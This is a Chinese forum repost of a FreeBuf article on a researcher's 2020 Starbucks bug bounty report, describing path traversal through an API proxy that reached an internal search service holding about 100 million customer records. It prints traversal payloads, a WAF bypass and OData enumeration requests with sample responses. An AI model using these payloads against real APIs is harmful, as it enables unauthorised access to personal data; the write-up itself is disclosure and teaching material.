搜索

[15526] 2020-06-22_星巴克新漏洞：可访问1亿客户记录

文档创建者：s7ckTeam
浏览次数：17
最后更新：2025-01-18
2020-06-22_星巴克新漏洞：可访问1亿客户记录 星 巴 克 新 漏 洞 ： 可 访 问 1 亿 客 户 记 录 k i r a z h o u   F r e e B u f   2 0 2 0 - 0 6 - 2 2 S a m 花 了 一 整 天 的 尝 试 ， 仍 然 没 有 在 花 了 一 整 天 的 尝 试 ， 仍 然 没 有 在 V e r i z o n   M e d i a 漏 洞 赏 金 计 划 中 有 所 收 获 ， 于 是 ， 他 决 定 先 退 出 做 一 些 其 他 漏 洞 赏 金 计 划 中 有 所 收 获 ， 于 是 ， 他 决 定 先 退 出 做 一 些 其 他 事 情 。 他 上 网 准 备 订 购 星 巴 克 的 礼 品 卡 ， 作 为 朋 友 的 生 日 礼 物 。 事 情 。 他 上 网 准 备 订 购 星 巴 克 的 礼 品 卡 ， 作 为 朋 友 的 生 日 礼 物 。 当 s a m 在 星 巴 克 官 网 上 试 图 购 买 时 ， 他 发 现 了 A P I 调 用 的 可 疑 之 处 ： 在 以 “   /   b f f   /   p r o x y   / ” 为 前 缀 的 A P I 下 发 送 了 一 些 请 求 ， 但 这 些 请 求 返 回 的 数 据 似 乎 来 自 另 一 台 主 机 。 正 好 ， 由 于 星 巴 克 有 一 个 漏 洞 赏 金 计 划 ， 于 是 ， 继 续 研 究 下 去 吧 。 以 下 是 返 回 s a m 的 用 户 信 息 的 其 中 之 一 的 A P I 调 用 示 例 ： 在 上 面 的 示 例 中 ， “   a p p . s t a r b u c k s . c o m ” 主 机 将 无 法 访 问 通 过 特 定 端 点 访 问 的 数 据 ， 但 可 以 充 当 假 设 的 第 二 个 主 机 的 代 理 或 中 间 人 ， “ i n t e r n a l . s t a r b u c k s . c o m ” 。 这 里 要 考 虑 的 一 些 有 趣 的 事 情 是 … … 我 们 如 何 测 试 应 用 程 序 的 路 由 ？ 如 果 应 用 程 序 将 请 求 路 由 到 内 部 主 机 ， 则 权 限 模 型 是 什 么 样 的 ？ 我 们 可 以 控 制 发 送 到 内 部 主 机 的 请 求 中 的 路 径 或 参 数 吗 ？ 内 部 主 机 上 是 否 有 开 放 重 定 向 ， 如 果 有 ， 应 用 程 序 将 遵 循 开 放 重 定 向 吗 ？ 返 回 的 内 容 是 否 必 须 匹 配 适 当 的 类 型 （ 是 否 解 析 J S O N ， X M L 或 任 何 其 他 数 据 ？ ） S a m 做 的 第 一 件 事 是 尝 试 遍 历 A P I 调 用 ， 以 便 可 以 加 载 其 他 路 径 ， 而 执 行 此 操 作 的 方 式 是 发 送 以 下 负 载 ： P O S T   / b f f / p r o x y / o r c h e s t r a / g e t - u s e r   H T T P / 1 . 1 H o s t :   a p p . s t a r b u c k s . c o m {     " d a t a " :   {         " u s e r " :   {             " e x I d " :   " 7 7 E F F C 8 3 - 7 E E 9 - 4 E C A - 9 0 4 9 - A 6 A 2 3 B F 1 8 3 0 F " ,             " f i r s t N a m e " :   " S a m " ,             " l a s t N a m e " :   " C u r r y " ,             " e m a i l " :   " s a m w c u r r y @ g m a i l . c o m " ,             " p a r t n e r N u m b e r " :   n u l l ,             " b i r t h D a y " :   n u l l ,             " b i r t h M o n t h " :   n u l l ,             " l o y a l t y P r o g r a m " :   n u l l         }     } }
可 惜 的 是 ， 这 些 都 不 起 作 用 。 它 们 都 返 回 了 我 通 常 会 看 到 的 相 同 的 4 0 4 页 面 … … 在 这 种 情 况 下 ， 我 们 可 以 将 “   /   b f f   /   p r o x y   /   o r c h e s t r a   /   g e t - u s e r ” 视 为 我 们 正 在 调 用 的 未 包 含 用 户 输 入 的 函 数 。 同 时 ， 我 们 有 机 会 找 到 一 个 确 实 接 受 用 户 输 入 的 函 数 ， 例 如 “   /   b f f   /   p r o x y   /   u s e r s   / ： i d ” ， 在 这 里 我 们 有 足 够 的 空 间 测 试 它 将 接 受 的 数 据 。 如 果 我 们 发 现 这 样 的 A P I 调 用 ， 那 么 尝 试 遍 历 有 效 负 载 并 发 送 其 他 数 据 （ 实 际 上 是 在 用 户 输 入 中 接 收 ） 可 能 会 更 有 帮 助 。 S a m 仔 细 留 意 这 个 A p p ， 发 现 了 更 多 的 A P I 调 用 。 而 他 发 现 的 接 受 用 户 输 入 的 第 一 个 信 息 是 ： 这 个 端 点 不 同 于 “ g e t   u s e r ” 端 点 ， 因 为 最 后 一 个 路 径 作 为 参 数 存 在 ， 在 其 中 提 供 了 任 意 输 入 。 如 果 将 此 输 入 作 为 内 部 系 统 上 的 路 径 处 理 ， 那 么 完 全 可 能 遍 历 它 并 访 问 其 他 内 部 端 点 。 幸 运 的 是 ， s a m 尝 试 的 第 一 个 测 试 返 回 了 一 个 非 常 好 的 指 标 ， 表 明 可 以 遍 历 端 点 ： 这 个 J S O N 响 应 与 “   /   b f f   /   p r o x y ” 下 所 有 其 他 常 规 A P I 调 用 的 J S O N 响 应 相 同 。 这 表 明 s a m 正 在 使 用 内 部 系 统 ， 并 且 已 经 成 功 地 修 改 了 正 在 与 之 交 谈 的 路 径 。 下 一 步 将 是 映 射 内 部 系 统 ， 而 做 到 这 一 点 的 最 佳 方 法 将 是 通 过 标 识 返 回 “   4 0 0 错 误 请 求 ” 的 第 一 条 路 径 遍 历 到 根 。 但 很 快 ， s a m 遇 到 了 一 个 障 碍 。 有 一 个 W A F 让 他 不 能 深 入 两 个 目 录 ： 最 终 ， 在 返 回 7 条 路 径 后 ， s a m 收 到 了 以 下 错 误 ： 这 意 味 着 内 部 A P I 的 根 是 6 个 返 回 路 径 ， 可 以 使 用 目 录 暴 力 破 解 工 具 或 B u r p   S u i t e 的 入 侵 者 和 单 词 列 表 将 其 映 射 出 来 。 此 时 ， s a m 对 这 个 漏 洞 更 加 感 兴 趣 了 ， 他 和 J u s t i n   G a r d n e r 进 行 了 探 讨 。 而 J u s t i n   G a r d n e r 几 乎 立 即 在 内 部 系 统 的 根 目 录 下 识 别 出 许 多 路 径 ， 方 法 是 观 察 到 对 这 些 路 径 的 H T T P 请 求 ， 之 后 如 果 没 有 正 斜 杠 ， 就 会 使 用 B u r p 的 入 侵 者 返 回 重 定 向 代 码 ： J u s t i n 致 力 于 寻 找 所 有 端 点 时 ， s a m 开 始 逐 一 研 究 每 个 目 录 。 运 行 完 自 己 的 扫 描 后 ， s a m 发 现 “ 搜 索 ” 下 有 “ v 1 ” ， 而 “ v 1 ” 下 有 “ 账 户 ” 和 “ 地 址 ” 。 于 是 ， 他 给 J u s t i n 发 了 一 条 消 息 ， 想 想 如 果 “   /   s e a r c h   /   v 1   /   a c c o u n t s ” 端 点 是 对 所 有 生 产 帐 户 的 搜 索 ， 那 将 是 多 么 有 趣 … … 而 事 实 ， 果 然 如 此 。 “   /   s e a r c h   /   v 1   /   a c c o u n t s ” 可 以 访 问 所 有 星 巴 克 帐 户 的 M i c r o s o f t   G r a p h 实 例 。 此 外 ， “ 地 址 ” 端 点 返 回 了 类 似 的 信 息 … … / b f f / p r o x y / o r c h e s t r a / g e t - u s e r / . . % 2 f / b f f / p r o x y / o r c h e s t r a / g e t - u s e r / . . ; / / b f f / p r o x y / o r c h e s t r a / g e t - u s e r / . . / / b f f / p r o x y / o r c h e s t r a / g e t - u s e r / . . % 0 0 / / b f f / p r o x y / o r c h e s t r a / g e t - u s e r / . . % 0 d / / b f f / p r o x y / o r c h e s t r a / g e t - u s e r / . . % 5 c / b f f / p r o x y / o r c h e s t r a / g e t - u s e r / . . / b f f / p r o x y / o r c h e s t r a / g e t - u s e r / . . % f f / / b f f / p r o x y / o r c h e s t r a / g e t - u s e r / % 2 e % 2 e % 2 f / b f f / p r o x y / o r c h e s t r a / g e t - u s e r / . % 2 e / / b f f / p r o x y / o r c h e s t r a / g e t - u s e r / % 3 f   ( ? ) / b f f / p r o x y / o r c h e s t r a / g e t - u s e r / % 2 6   ( & ) / b f f / p r o x y / o r c h e s t r a / g e t - u s e r / % 2 3   ( # ) G E T   / b f f / p r o x y / v 1 / m e / s t r e a m I t e m s / : s t r e a m I t e m I d   H T T P / 1 . 1 H o s t :   a p p . s t a r b u c k s . c o m G E T   / b f f / p r o x y / s t r e a m / v 1 / u s e r s / m e / s t r e a m I t e m s / . .   H T T P / 1 . 1 H o s t :   a p p . s t a r b u c k s . c o m {     " e r r o r s " :   [         {             " m e s s a g e " :   " N o t   F o u n d " ,             " e r r o r C o d e " :   4 0 4 ,             . . . G E T   / b f f / p r o x y / s t r e a m / v 1 / u s e r s / m e / s t r e a m I t e m s / . . . .   H T T P / 1 . 1 H o s t :   a p p . s t a r b u c k s . c o m H T T P / 1 . 1   4 0 3   F o r b i d d e n 不 过 ， 这 个 W A F 很 弱 … … G E T   / b f f / p r o x y / v 1 / m e / s t r e a m I t e m s / w e b . . . . .   H T T P / 1 . 1 H o s t :   a p p . s t a r b u c k s . c o m {     " e r r o r s " :   [         {             " m e s s a g e " :   " N o t   F o u n d " ,             " e r r o r C o d e " :   4 0 4 ,             . . . G E T   / b f f / p r o x y / v 1 / m e / s t r e a m I t e m s / w e b . . . . . . . . . . . . . . . . . . . .   H T T P / 1 . 1 H o s t :   a p p . s t a r b u c k s . c o m {     " e r r o r s " :   [         {             " m e s s a g e " :   " B a d   R e q u e s t " ,             " e r r o r C o d e " :   4 0 0 ,             . . . G E T   / b f f / p r o x y / s t r e a m / v 1 / u s e r s / m e / s t r e a m I t e m s / w e b . . . . . . . . . . . . . . . . . . s e a r c h H o s t :   a p p . s t a r b u c k s . c o m H T T P / 1 . 1   3 0 1   M o v e d   P e r m a n e n t l y S e r v e r :   n g i n x C o n t e n t - T y p e :   t e x t / h t m l C o n t e n t - L e n g t h :   1 6 2 L o c a t i o n :   / s e a r c h / G E T   / b f f / p r o x y / s t r e a m / v 1 / u s e r s / m e / s t r e a m I t e m s / w e b . . . . . . . . . . . . . . . . . . s e a r c h v 1 A c c o u n t s   H T T P / 1 . 1 H o s t :   a p p . s t a r b u c k s . c o m {     " @ o d a t a . c o n t e x t " :   " h t t p s : / / r e d a c t e d . s t a r b u c k s . c o m / S e a r c h / v 1 / $ m e t a d a t a # A c c o u n t s " ,     " v a l u e " :   [         {             " I d " :   1 ,             " E x t e r n a l I d " :   " 1 2 3 4 5 " ,             " U s e r N a m e " :   " U s e r N a m e " ,             " F i r s t N a m e " :   " F i r s t N a m e " ,             " L a s t N a m e " :   " L a s t N a m e " ,             " E m a i l A d d r e s s " :   " 0 6 4 0 D E @ e x a m p l e . c o m " ,             " S u b m a r k e t " :   " U S " ,             " P a r t n e r N u m b e r " :   n u l l ,             " R e g i s t r a t i o n D a t e " :   " 1 9 0 0 - 0 1 - 0 1 T 0 0 : 0 0 : 0 0 Z " ,             " R e g i s t r a t i o n S o u r c e " :   " i O S A p p " ,             " L a s t U p d a t e d " :   " 2 0 1 7 - 0 6 - 0 1 T 1 5 : 3 2 : 5 6 . 4 9 2 5 2 0 7 Z "         } , . . . l o t s   o f   p r o d u c t i o n   a c c o u n t s G E T   / b f f / p r o x y / s t r e a m / v 1 / u s e r s / m e / s t r e a m I t e m s / w e b . . . . . . . . . . . . . . . . . . s e a r c h v 1 A d d r e s s e s   H T T P / 1 . 1 H o s t :   a p p . s t a r b u c k s . c o m {     " @ o d a t a . c o n t e x t " :   " h t t p s : / / r e d a c t e d . s t a r b u c k s . c o m / S e a r c h / v 1 / $ m e t a d a t a # A d d r e s s e s " ,     " v a l u e " :   [         {             " I d " :   1 ,             " A c c o u n t I d " :   1 ,             " A d d r e s s T y p e " :   " 3 " ,             " A d d r e s s L i n e 1 " :   n u l l ,             " A d d r e s s L i n e 2 " :   n u l l ,             " A d d r e s s L i n e 3 " :   n u l l ,             " C i t y " :   n u l l ,             " P o s t a l C o d e " :   n u l l ,             " C o u n t r y " :   n u l l ,             " C o u n t r y S u b d i v i s i o n " :   n u l l ,             " F i r s t N a m e " :   n u l l ,             " L a s t N a m e " :   n u l l ,             " P h o n e N u m b e r " :   n u l l         } , . . . l o t s   o f   p r o d u c t i o n   a d d r e s s e s
它 是 为 生 产 帐 户 和 地 址 提 供 的 服 务 。 随 后 ， s a m 开 始 进 一 步 探 索 该 服 务 ， 以 使 用 M i c r o s o f t   G r a p h 功 能 进 行 确 认 。 通 过 从 M i c r o s o f t   G r a p h   U R L 添 加 “   $   c o u n t ” 参 数 ， 可 以 确 定 该 服 务 具 有 近 1 亿 条 记 录 。 攻 击 者 可 以 通 过 添 加 “   $ s k i p ” 和 “   $   c o u n t ” 之 类 的 参 数 枚 举 所 有 用 户 帐 户 来 窃 取 此 数 据 。 此 外 ， 要 查 明 特 定 的 用 户 帐 户 ， 攻 击 者 可 以 使 用 “   $   f i l t e r ” 参 数 ： 最 后 ， s a m 还 发 现 的 其 他 一 些 端 点 ， 可 能 （ 尚 未 确 认 ） 使 攻 击 者 能 够 访 问 和 修 改 帐 单 地 址 、 礼 品 卡 、 奖 励 和 优 惠 等 内 容 。 时 间 线 时 间 线 5 月 1 6 日 报 道 5 月 1 7 日 补 丁 5 月 1 9 日 颁 发 赏 金 （ 4 0 0 0 美 元 ） 6 月 1 6 日 公 开 参 考 链 接 参 考 链 接 h t t p s : / / s a m c u r r y . n e t / h a c k i n g - s t a r b u c k s / * 本 文 作 者 ： 本 文 作 者 ： k i r a z h o u ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 G E T   / b f f / p r o x y / s t r e a m / v 1 / u s e r s / m e / s t r e a m I t e m s / w e b . . . . . . . . . . . . . . . . . . S e a r c h v 1 A c c o u n t s ? $ c o u n t = t r u e H o s t :   a p p . s t a r b u c k s . c o m {     " @ o d a t a . c o n t e x t " :   " h t t p s : / / r e d a c t e d . s t a r b u c k s . c o m / S e a r c h / v 1 / $ m e t a d a t a # A c c o u n t s " ,     " @ o d a t a . c o u n t " : 9 9 3 5 6 0 5 9 } G E T   / b f f / p r o x y / s t r e a m / v 1 / u s e r s / m e / s t r e a m I t e m s / w e b . . . . . . . . . . . . . . . . . . S e a r c h v 1 A c c o u n t s ? $ f i l t e r = s t a r t s w i t h ( U s e r N a m e , ' r e d a c t e d ' )   H T T P / 1 . 1 H o s t :   a p p . s t a r b u c k s . c o m {     " @ o d a t a . c o n t e x t " :   " h t t p s : / / r e d a c t e d . s t a r b u c k s . c o m / S e a r c h / v 1 / $ m e t a d a t a # A c c o u n t s " ,     " v a l u e " :   [         {             " I d " :   8 1 7 6 3 0 2 2 ,             " E x t e r n a l I d " :   " 5 9 d 1 5 9 e 2 - r e d a c t e d - r e d a c t e d - b 0 3 7 - e 8 c e c e c d f 3 5 4 " ,             " U s e r N a m e " :   " r e d a c t e d @ g m a i l . c o m " ,             " F i r s t N a m e " :   " J u s t i n " ,             " L a s t N a m e " :   " G a r d n e r " ,             " E m a i l A d d r e s s " :   " r e d a c t e d @ g m a i l . c o m " ,             " S u b m a r k e t " :   " U S " ,             " P a r t n e r N u m b e r " :   n u l l ,             " R e g i s t r a t i o n D a t e " :   " 2 0 1 8 - 0 5 - 1 9 T 1 8 : 5 2 : 1 5 . 0 7 6 3 5 6 4 Z " ,             " R e g i s t r a t i o n S o u r c e " :   " A n d r o i d " ,             " L a s t U p d a t e d " :   " 2 0 2 0 - 0 5 - 1 6 T 2 3 : 2 8 : 3 9 . 3 4 2 6 0 6 9 Z "         }     ] } b a r c o d e ,   l o y a l t y ,   a p p s e t t i n g s ,   c a r d ,   c h a l l e n g e ,   c o n t e n t ,   i d e n t i f i e r ,   i d e n t i t y ,   o n b o a r d i n g ,   o r d e r h i s t o r y ,   p e r m i s s i o n s ,   p r o d u c t ,   p r o m o t i o n ,   a c c o u n t ,   b i l l i n g a d d r e s s ,   e n r o l l m e n t ,   l o c a t i o n ,   m u s i c ,   o f f e r s ,   r e w a r d s ,   k e y s e r v e r
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理